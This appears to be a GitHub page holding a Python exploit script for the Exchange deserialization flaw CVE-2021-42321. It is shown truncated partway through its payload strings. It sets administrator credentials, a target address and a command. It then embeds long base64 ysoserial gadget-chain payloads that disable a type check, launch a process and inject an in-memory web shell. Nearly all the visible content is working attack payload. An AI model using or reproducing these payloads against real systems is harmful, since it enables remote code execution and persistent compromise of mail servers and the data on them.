-
Notifications
You must be signed in to change notification settings - Fork 106
/
CVE-2021-42321_shell_write_exp.py
192 lines (167 loc) · 50.7 KB
/
CVE-2021-42321_shell_write_exp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
#!/usr/bin/python
import socket, time
import httplib, requests
import urllib
import os, ssl
from requests_ntlm2 import HttpNtlmAuth
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
import base64
USER = 'administrator'
PASS = ''
target = "https://192.168.186.135"
cmd = "whoami"
# .\ysoserial.exe -g ClaimsPrincipal -f BinaryFormatter -c foobar -bgc ActivitySurrogateDisableTypeCheck --minify --ust
disable_check = "AAEAAAD/////AQAAAAAAAAAEAQAAACZTeXN0ZW0uU2VjdXJpdHkuQ2xhaW1zLkNsYWltc1ByaW5jaXBhbAEAAAAcbV9zZXJpYWxpemVkQ2xhaW1zSWRlbnRpdGllcwEGBQAAAKgfQUFFQUFBRC8vLy8vQVFBQUFBQUFBQUFNQWdBQUFFWlRlWE4wWlcwc1ZtVnljMmx2YmowMExqQXVNQzR3TEVOMWJIUjFjbVU5Ym1WMWRISmhiQ3hRZFdKc2FXTkxaWGxVYjJ0bGJqMWlOemRoTldNMU5qRTVNelJsTURnNUJRRUFBQUJBVTNsemRHVnRMa052Ykd4bFkzUnBiMjV6TGtkbGJtVnlhV011VTI5eWRHVmtVMlYwWURGYlcxTjVjM1JsYlM1VGRISnBibWNzYlhOamIzSnNhV0pkWFFRQUFBQUZRMjkxYm5RSVEyOXRjR0Z5WlhJSFZtVnljMmx2YmdWSmRHVnRjd0FEQUFZSVNWTjVjM1JsYlM1RGIyeHNaV04wYVc5dWN5NUhaVzVsY21sakxrTnZiWEJoY21semIyNURiMjF3WVhKbGNtQXhXMXRUZVhOMFpXMHVVM1J5YVc1bkxHMXpZMjl5YkdsaVhWMElBZ0FBQUFJQUFBQUpBd0FBQUFJQUFBQUpCQUFBQUFRREFBQUFTVk41YzNSbGJTNURiMnhzWldOMGFXOXVjeTVIWlc1bGNtbGpMa052YlhCaGNtbHpiMjVEYjIxd1lYSmxjbUF4VzF0VGVYTjBaVzB1VTNSeWFXNW5MRzF6WTI5eWJHbGlYVjBCQUFBQUMxOWpiMjF3WVhKcGMyOXVBeUpUZVhOMFpXMHVSR1ZzWldkaGRHVlRaWEpwWVd4cGVtRjBhVzl1U0c5c1pHVnlDUVVBQUFBUkJBQUFBQUlBQUFBR0JnQUFBQUFHQndBQUFQMExQRkpsYzI5MWNtTmxSR2xqZEdsdmJtRnllU0I0Yld4dWN6MGlhSFIwY0RvdkwzTmphR1Z0WVhNdWJXbGpjbTl6YjJaMExtTnZiUzkzYVc1bWVDOHlNREEyTDNoaGJXd3ZjSEpsYzJWdWRHRjBhVzl1SWlCNGJXeHVjenBoUFNKb2RIUndPaTh2YzJOb1pXMWhjeTV0YVdOeWIzTnZablF1WTI5dEwzZHBibVo0THpJd01EWXZlR0Z0YkNJZ2VHMXNibk02WWowaVkyeHlMVzVoYldWemNHRmpaVHBUZVhOMFpXMDdZWE56WlcxaWJIazliWE5qYjNKc2FXSWlJSGh0Ykc1ek9tTTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtOdmJtWnBaM1Z5WVhScGIyNDdZWE56WlcxaWJIazlVM2x6ZEdWdExrTnZibVpwWjNWeVlYUnBiMjRpSUhodGJHNXpPbVE5SW1Oc2NpMXVZVzFsYzNCaFkyVTZVM2x6ZEdWdExsSmxabXhsWTNScGIyNDdZWE56WlcxaWJIazliWE5qYjNKc2FXSWlQanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnWVRwTFpYazlJblI1Y0dVaUlFOWlhbVZqZEZSNWNHVTlJbnRoT2xSNWNHVWdZanBVZVhCbGZTSWdUV1YwYUc5a1RtRnRaVDBpUjJWMFZIbHdaU0krUEU5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2k1TlpYUm9iMlJRWVhKaGJXVjBaWEp6UGp4aU9sTjBjbWx1Wno1VGVYTjBaVzB1VjI5eWEyWnNiM2N1UTI5dGNHOXVaVzUwVFc5a1pXd3VRWEJ3VTJWMGRHbHVaM01zVTNsemRHVnRMbGR2Y210bWJHOTNMa052YlhCdmJtVnVkRTF2WkdWc0xGWmxjbk5wYjI0OU5DNHdMakF1TUN4RGRXeDBkWEpsUFc1bGRYUnlZV3dzVUhWaWJHbGpTMlY1Vkc5clpXNDlNekZpWmpNNE5UWmhaRE0yTkdVek5Ud3ZZanBUZEhKcGJtYytQQzlQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEl1VFdWMGFHOWtVR0Z5WVcxbGRHVnljejQ4TDA5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2o0OFQySnFaV04wUkdGMFlWQnliM1pwWkdWeUlHRTZTMlY1UFNKbWFXVnNaQ0lnVDJKcVpXTjBTVzV6ZEdGdVkyVTlJbnRUZEdGMGFXTlNaWE52ZFhKalpTQjBlWEJsZlNJZ1RXVjBhRzlrVG1GdFpUMGlSMlYwUm1sbGJHUWlQanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEl1VFdWMGFHOWtVR0Z5WVcxbGRHVnljejQ4WWpwVGRISnBibWMrWkdsellXSnNaVUZqZEdsMmFYUjVVM1Z5Y205bllYUmxVMlZzWldOMGIzSlVlWEJsUTJobFkyczhMMkk2VTNSeWFXNW5QanhrT2tKcGJtUnBibWRHYkdGbmN6NDBNRHd2WkRwQ2FXNWthVzVuUm14aFozTStQQzlQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEl1VFdWMGFHOWtVR0Z5WVcxbGRHVnljejQ4TDA5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2o0OFQySnFaV04wUkdGMFlWQnliM1pwWkdWeUlHRTZTMlY1UFNKelpYUWlJRTlpYW1WamRFbHVjM1JoYm1ObFBTSjdVM1JoZEdsalVtVnpiM1Z5WTJVZ1ptbGxiR1I5SWlCTlpYUm9iMlJPWVcxbFBTSlRaWFJXWVd4MVpTSStQRTlpYW1WamRFUmhkR0ZRY205MmFXUmxjaTVOWlhSb2IyUlFZWEpoYldWMFpYSnpQanhpT2s5aWFtVmpkQzgrUEdJNlFtOXZiR1ZoYmo1MGNuVmxQQzlpT2tKdmIyeGxZVzQrUEM5UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJdVRXVjBhRzlrVUdGeVlXMWxkR1Z5Y3o0OEwwOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNqNDhUMkpxWldOMFJHRjBZVkJ5YjNacFpHVnlJR0U2UzJWNVBTSnpaWFJOWlhSb2IyUWlJRTlpYW1WamRFbHVjM1JoYm1ObFBTSjdZVHBUZEdGMGFXTWdZenBEYjI1bWFXZDFjbUYwYVc5dVRXRnVZV2RsY2k1QmNIQlRaWFIwYVc1bmMzMGlJRTFsZEdodlpFNWhiV1U5SWxObGRDSStQRTlpYW1WamRFUmhkR0ZRY205MmFXUmxjaTVOWlhSb2IyUlFZWEpoYldWMFpYSnpQanhpT2xOMGNtbHVaejV0YVdOeWIzTnZablE2VjI5eWEyWnNiM2REYjIxd2IyNWxiblJOYjJSbGJEcEVhWE5oWW14bFFXTjBhWFpwZEhsVGRYSnliMmRoZEdWVFpXeGxZM1J2Y2xSNWNHVkRhR1ZqYXp3dllqcFRkSEpwYm1jK1BHSTZVM1J5YVc1blBuUnlkV1U4TDJJNlUzUnlhVzVuUGp3dlQySnFaV04wUkdGMFlWQnliM1pwWkdWeUxrMWxkR2h2WkZCaGNtRnRaWFJsY25NK1BDOVBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSStQQzlTWlhOdmRYSmpaVVJwWTNScGIyNWhjbmsrQkFVQUFBQWlVM2x6ZEdWdExrUmxiR1ZuWVhSbFUyVnlhV0ZzYVhwaGRHbHZia2h2YkdSbGNnTUFBQUFJUkdWc1pXZGhkR1VIYldWMGFHOWtNQWR0WlhSb2IyUXhBd01ETUZONWMzUmxiUzVFWld4bFoyRjBaVk5sY21saGJHbDZZWFJwYjI1SWIyeGtaWElyUkdWc1pXZGhkR1ZGYm5SeWVTOVRlWE4wWlcwdVVtVm1iR1ZqZEdsdmJpNU5aVzFpWlhKSmJtWnZVMlZ5YVdGc2FYcGhkR2x2YmtodmJHUmxjaTlUZVhOMFpXMHVVbVZtYkdWamRHbHZiaTVOWlcxaVpYSkpibVp2VTJWeWFXRnNhWHBoZEdsdmJraHZiR1JsY2drSUFBQUFDUWtBQUFBSkNnQUFBQVFJQUFBQU1GTjVjM1JsYlM1RVpXeGxaMkYwWlZObGNtbGhiR2w2WVhScGIyNUliMnhrWlhJclJHVnNaV2RoZEdWRmJuUnllUWNBQUFBRWRIbHdaUWhoYzNObGJXSnNlUVowWVhKblpYUVNkR0Z5WjJWMFZIbHdaVUZ6YzJWdFlteDVEblJoY21kbGRGUjVjR1ZPWVcxbENtMWxkR2h2WkU1aGJXVU5aR1ZzWldkaGRHVkZiblJ5ZVFFQkFnRUJBUU13VTNsemRHVnRMa1JsYkdWbllYUmxVMlZ5YVdGc2FYcGhkR2x2YmtodmJHUmxjaXRFWld4bFoyRjBaVVZ1ZEhKNUJnc0FBQUF1VTNsemRHVnRMa1oxYm1OZ01sdGJVM2x6ZEdWdExsTjBjbWx1WjEwc1cxTjVjM1JsYlM1UFltcGxZM1JkWFFZTUFBQUFDRzF6WTI5eWJHbGlDZ1lOQUFBQVZWQnlaWE5sYm5SaGRHbHZia1p5WVcxbGQyOXlheXhXWlhKemFXOXVQVFF1TUM0d0xqQXNRM1ZzZEhWeVpUMXVaWFYwY21Gc0xGQjFZbXhwWTB0bGVWUnZhMlZ1UFRNeFltWXpPRFUyWVdRek5qUmxNelVHRGdBQUFDQlRlWE4wWlcwdVYybHVaRzkzY3k1TllYSnJkWEF1V0dGdGJGSmxZV1JsY2dZUEFBQUFCVkJoY25ObENSQUFBQUFFQ1FBQUFDOVRlWE4wWlcwdVVtVm1iR1ZqZEdsdmJpNU5aVzFpWlhKSmJtWnZVMlZ5YVdGc2FYcGhkR2x2YmtodmJHUmxjZ1lBQUFBRVRtRnRaUXhCYzNObGJXSnNlVTVoYldVSlEyeGhjM05PWVcxbENWTnBaMjVoZEhWeVpRcE5aVzFpWlhKVWVYQmxFRWRsYm1WeWFXTkJjbWQxYldWdWRITUJBUUVCQUFNSURWTjVjM1JsYlM1VWVYQmxXMTBKRHdBQUFBa05BQUFBQ1E0QUFBQUdGQUFBQUNKVGVYTjBaVzB1VDJKcVpXTjBJRkJoY25ObEtGTjVjM1JsYlM1VGRISnBibWNwQ0FBQUFBb0JDZ0FBQUFrQUFBQUdGUUFBQUFkRGIyMXdZWEpsQ1F3QUFBQUdGd0FBQUExVGVYTjBaVzB1VTNSeWFXNW5CaGdBQUFBclNXNTBNeklnUTI5dGNHRnlaU2hUZVhOMFpXMHVVM1J5YVc1bkxDQlRlWE4wWlcwdVUzUnlhVzVuS1FnQUFBQUtBUkFBQUFBSUFBQUFCaGtBQUFBa1UzbHpkR1Z0TGtOdmJYQmhjbWx6YjI1Z01WdGJVM2x6ZEdWdExsTjBjbWx1WjExZENRd0FBQUFLQ1F3QUFBQUpGd0FBQUFrVkFBQUFDZ3M9Cw=="
# .\ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "calc" -t (origin TypeConfuseDelegate chain)
pop_calc = "AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAcvYyBjYWxjBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs="
# inject memory shell
# .\ysoserial.exe -g ClaimsPrincipal -f BinaryFormatter -c foobar -bgc ActivitySurrogateSelector --minify --ust
inject_memshell = "AAEAAAD/////AQAAAAAAAAAEAQAAACZTeXN0ZW0uU2VjdXJpdHkuQ2xhaW1zLkNsYWltc1ByaW5jaXBhbAEAAAAcbV9zZXJpYWxpemVkQ2xhaW1zSWRlbnRpdGllcwEGBQAAAJiwAUFBRUFBQUQvLy8vL0FRQUFBQUFBQUFBRUFRQUFBRHRUZVhOMFpXMHVRMjlzYkdWamRHbHZibk11UjJWdVpYSnBZeTVNYVhOMFlERmJXMU41YzNSbGJTNVBZbXBsWTNRc2JYTmpiM0pzYVdKZFhRTUFBQUFHWDJsMFpXMXpCVjl6YVhwbENGOTJaWEp6YVc5dUJRQUFDQWdKQWdBQUFBb0FBQUFLQUFBQUVBSUFBQUFRQUFBQUNRTUFBQUFKQkFBQUFBa0ZBQUFBQ1FZQUFBQUpCd0FBQUFrSUFBQUFDUWtBQUFBSkNnQUFBQWtMQUFBQUNRd0FBQUFOQmdjREFBQUFBUUVBQUFBQkFBQUFCd0lKRFFBQUFBd09BQUFBWGxONWMzUmxiUzVYYjNKclpteHZkeTVEYjIxd2IyNWxiblJOYjJSbGJDeFdaWEp6YVc5dVBUUXVNQzR3TGpBc1EzVnNkSFZ5WlQxdVpYVjBjbUZzTEZCMVlteHBZMHRsZVZSdmEyVnVQVE14WW1Zek9EVTJZV1F6TmpSbE16VUZCQUFBQUdwVGVYTjBaVzB1VjI5eWEyWnNiM2N1UTI5dGNHOXVaVzUwVFc5a1pXd3VVMlZ5YVdGc2FYcGhkR2x2Ymk1QlkzUnBkbWwwZVZOMWNuSnZaMkYwWlZObGJHVmpkRzl5SzA5aWFtVmpkRk4xY25KdloyRjBaU3RQWW1wbFkzUlRaWEpwWVd4cGVtVmtVbVZtQWdBQUFBUjBlWEJsQzIxbGJXSmxja1JoZEdGekF3VWZVM2x6ZEdWdExsVnVhWFI1VTJWeWFXRnNhWHBoZEdsdmJraHZiR1JsY2c0QUFBQUpEd0FBQUFrUUFBQUFBUVVBQUFBRUFBQUFDUkVBQUFBSkVnQUFBQUVHQUFBQUJBQUFBQWtUQUFBQUNSUUFBQUFCQndBQUFBUUFBQUFKRlFBQUFBa1dBQUFBQVFnQUFBQUVBQUFBQ1JjQUFBQUpHQUFBQUFFSkFBQUFCQUFBQUFrWkFBQUFDUm9BQUFBQkNnQUFBQVFBQUFBSkd3QUFBQWtjQUFBQUFRc0FBQUFFQUFBQUNSMEFBQUFKSGdBQUFBUU1BQUFBSEZONWMzUmxiUzVEYjJ4c1pXTjBhVzl1Y3k1SVlYTm9kR0ZpYkdVSEFBQUFDa3h2WVdSR1lXTjBiM0lIVm1WeWMybHZiZ2hEYjIxd1lYSmxjaEJJWVhOb1EyOWtaVkJ5YjNacFpHVnlDRWhoYzJoVGFYcGxCRXRsZVhNR1ZtRnNkV1Z6QUFBREF3QUZCUXNJSEZONWMzUmxiUzVEYjJ4c1pXTjBhVzl1Y3k1SlEyOXRjR0Z5WlhJa1UzbHpkR1Z0TGtOdmJHeGxZM1JwYjI1ekxrbElZWE5vUTI5a1pWQnliM1pwWkdWeUNPeFJPRDhDQUFBQUNnb0RBQUFBQ1I4QUFBQUpJQUFBQUE4TkFBQUFBQ3dBQUFKTldwQUFBd0FBQUFRQUFBRC8vd0FBdUFBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNBQUFBQURoKzZEZ0MwQ2MwaHVBRk16U0ZVYUdseklIQnliMmR5WVcwZ1kyRnVibTkwSUdKbElISjFiaUJwYmlCRVQxTWdiVzlrWlM0TkRRb2tBQUFBQUFBQUFGQkZBQUJNQVFNQTM1RDlZd0FBQUFBQUFBQUE0QUFDSVFzQkN3QUFKQUFBQUFZQUFBQUFBQUF1UWdBQUFDQUFBQUJnQUFBQUFBQVFBQ0FBQUFBQ0FBQUVBQUFBQUFBQUFBUUFBQUFBQUFBQUFLQUFBQUFDQUFBQUFBQUFBd0JBaFFBQUVBQUFFQUFBQUFBUUFBQVFBQUFBQUFBQUVBQUFBQUFBQUFBQUFBQUEyRUVBQUZNQUFBQUFZQUFBcUFJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWdBQUFEQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWdBQUFJQUFBQUFBQUFBQUFBQUFBSUlBQUFTQUFBQUFBQUFBQUFBQUFBTG5SbGVIUUFBQUEwSWdBQUFDQUFBQUFrQUFBQUFnQUFBQUFBQUFBQUFBQUFBQUFBSUFBQVlDNXljM0pqQUFBQXFBSUFBQUJnQUFBQUJBQUFBQ1lBQUFBQUFBQUFBQUFBQUFBQUFFQUFBRUF1Y21Wc2IyTUFBQXdBQUFBQWdBQUFBQUlBQUFBcUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFCQ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUJCQ0FBQUFBQUFBU0FBQUFBSUFCUUFNS3dBQXpCWUFBQUVBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRXpBQ0FDa0FBQUFCQUFBUkFDZ0RBQUFLQ2hUK0JnWUFBQVp6QkFBQUNuTUZBQUFLQ3hZb0JnQUFDZ0FIQm04SEFBQUtBQ29BQUFBVE1BSUFNUUFBQUFFQUFCRUNLQWdBQUFvQUFDZ0RBQUFLQ2hUK0JnWUFBQVp6QkFBQUNuTUZBQUFLQ3hZb0JnQUFDZ0FIQm04SEFBQUtBQUFxQUFBQUd6QUVBSWNBQUFBQ0FBQVJBQUJ5QVFBQWNBb0dLQWtBQUFvVEJSRUZMVElBS0FvQUFBb0Nid3NBQUFvTEJoaHpEQUFBQ2d3SUJ4WUhqbWx2RFFBQUNnQUlidzRBQUFvQUNHOFBBQUFLQUFBcktRQUdGM01RQUFBS0RRQUpBbThSQUFBS0FBRGVFZ2tVL2dFVEJSRUZMUWNKYnhJQUFBb0EzQUFBQU40VEV3UUFjaGNBQUhBUkJDZ1RBQUFLQUFEZUFBQXFBQUVjQUFBQ0FFOEFERnNBRWdBQUFBQUFBQUVBY1hJQUV4TUFBQUVUTUFRQWxnQUFBQU1BQUJFQUFtOFVBQUFLQW04VkFBQUtjeFlBQUFwdkZ3QUFDZ3B6R0FBQUNnc0dGNDBXQUFBQkV3Z1JDQllmSnAwUkNHOFpBQUFLREFBSUV3a1dFd29yUWhFSkVRcWFEUUFKRjQwV0FBQUJFd2dSQ0JZZlBaMFJDRzhaQUFBS0V3UVJCQmFhRXdVUkJCZWFLQm9BQUFvVEJnY1JCUkVHYnhzQUFBb0FBQkVLRjFnVENoRUtFUW1PYWY0RUV3c1JDeTJ3QnhNSEt3QVJCeXI2QUFKdkhBQUFDaDhhY2tVQUFIQnZIUUFBQ2dBQ2J4d0FBQW9mREhKcEFBQndieDBBQUFvQUFtOGNBQUFLY3BzQUFIQnl0UUFBY0c4ZUFBQUtBQ29BQUFBYk1BY0FWZ2dBQUFRQUFCRUFjeDhBQUFvS0FDZ2dBQUFLRXlNUkl5MEdBTjA3Q0FBQWNzVUFBSEFMY3MwQUFIQU1jdGNBQUhBTmNpSUVBSEFUQkFadklRQUFDaEVFYnlJQUFBb0FCbThqQUFBS0FBa29KQUFBQ2hNRmN5VUFBQW9vQ2dBQUNnZHZDd0FBQ2lnbUFBQUtLQ2NBQUFweVZBUUFjSEpZQkFCd2J5Z0FBQXB2S1FBQUNoWWZFRzhxQUFBS0V3WnpKUUFBQ2lnS0FBQUtDQkVHS0NzQUFBcHZDd0FBQ2lnbUFBQUtLQ2NBQUFweVZBUUFjSEpZQkFCd2J5Z0FBQW9UQjNNc0FBQUtFd2h6TFFBQUNoTUpPRW9IQUFBQUJtOHVBQUFLRXdvUkNtOHZBQUFLRXdzUkNtOHdBQUFLRXd3UkRDZ0ZBQUFHQUJRVERRQUNGUDRCRXlNUkl5ME1BQUoxQndBQUFSTU9BQ3RJQUhKWUJBQndFUXR2TVFBQUNtOHlBQUFLRVF0dk13QUFDbTh5QUFBS2N6UUFBQW9URHhFTWJ6VUFBQXB6TmdBQUNoTVFFUkJ6TndBQUNoTVJFUThSRVhNNEFBQUtFdzRBRVF0dk9RQUFDbkphQkFCd2J6b0FBQW9URWhFU2NtUUVBSEFvT3dBQUNoYitBUk1qRVNNdFVnQW9QQUFBQ25Kd0JBQndid3NBQUFvVEV4RU1JTWdBQUFCdlBRQUFDZ0FSREJFVGptbHFiejRBQUFvQUVReHZOUUFBQ2hNTkVRMFJFeFlSRTQ1cGJ3MEFBQW9BRVExdkR3QUFDZ0FBT0xvRkFBQVJFbkoyQkFCd0tEc0FBQW9zRmhFTGJ6OEFBQXB5ZmdRQWNDZzdBQUFLRnY0Qkt3RVhBQk1qRVNNNjFRQUFBQUFSQ3lnRUFBQUdFeFJ6UUFBQUNoTVZFUlZ2UVFBQUNuS0lCQUJ3YjBJQUFBb0FFUlZ2UVFBQUNuS1lCQUJ3RVJRSWIwTUFBQW9vS3dBQUNtOUVBQUFLQUJFVmIwRUFBQW9XYjBVQUFBb0FFUlZ2UVFBQUNoZHZSZ0FBQ2dBUkZXOUJBQUFLRjI5SEFBQUtBQkVWYjBnQUFBb21LRHdBQUFvUkZXOUpBQUFLYnhjQUFBb1JGVzlLQUFBS2J4Y0FBQW9vS3dBQUNtOExBQUFLRXhZUkRDRElBQUFBYnowQUFBb0FFUXdSRm81cGFtOCtBQUFLQUJFTWJ6VUFBQW9URFJFTkVSWVdFUmFPYVc4TkFBQUtBQUE0dGdRQUFCRVNjcUFFQUhBb093QUFDaXdXRVF0dlB3QUFDbkorQkFCd0tEc0FBQW9XL2dFckFSY0FFeU1SSXpwd0FnQUFBQkVMS0FRQUFBWVRGQkVVQ0c5REFBQUtLQ1FBQUFvVEZuTkxBQUFLS0FvQUFBb1JCbThMQUFBS0tBb0FBQW9SQm04TEFBQUtiMHdBQUFvUkZoWVJGbzVwYjAwQUFBb1RGaEVMYjA0QUFBcHlzQVFBY0c5UEFBQUtFeGNSRnhUK0FSYitBUk1qRVNNNjBBQUFBQUFvVUFBQUNoTVkwQjhBQUFFb1VRQUFDbkxVQkFCd0Y0MHpBQUFCRXlRUkpCYlFBd0FBR3loUkFBQUtvaEVrS0ZJQUFBb1VGNDBCQUFBQkV5VVJKUllSRnFJUkpXOVRBQUFLZEI4QUFBRVRHUkVJRWhqK0ZqSUFBQUZ2TWdBQUNoRVpiMVFBQUFvQUVReHlzQVFBY0JJWS9oWXlBQUFCYnpJQUFBcHpWUUFBQ205V0FBQUtBQ2c4QUFBS2NsZ0VBSEJ2Q3dBQUNoTVRFUXdneUFBQUFHODlBQUFLQUJFTUVST09hV3B2UGdBQUNnQVJERzgxQUFBS0V3MFJEUkVURmhFVGptbHZEUUFBQ2dBQU9DMEJBQUFBRVFnUkYyOVhBQUFLYjFnQUFBb1RHbk5aQUFBS0V4dCtBUUFBQkMwbkh4RFFId0FBQVNoUkFBQUswQUlBQUFJb1VRQUFDaWhhQUFBS0tGc0FBQXFBQVFBQUJDc0FmZ0VBQUFSN1hBQUFDbjRCQUFBRUVScHZYUUFBQ25MZUJBQndiMTRBQUFvVEhCRWNFUnR2WHdBQUNpWVJIQkVPYjE4QUFBb21FUndSRm05ZkFBQUtKaEVjYnpJQUFBb21FUnR2WUFBQUNoTWRFUnR2WVFBQUNnQVJEQ0RJQUFBQWJ6MEFBQW9BRVFjV0h4QnZLZ0FBQ25OTEFBQUtLQW9BQUFvU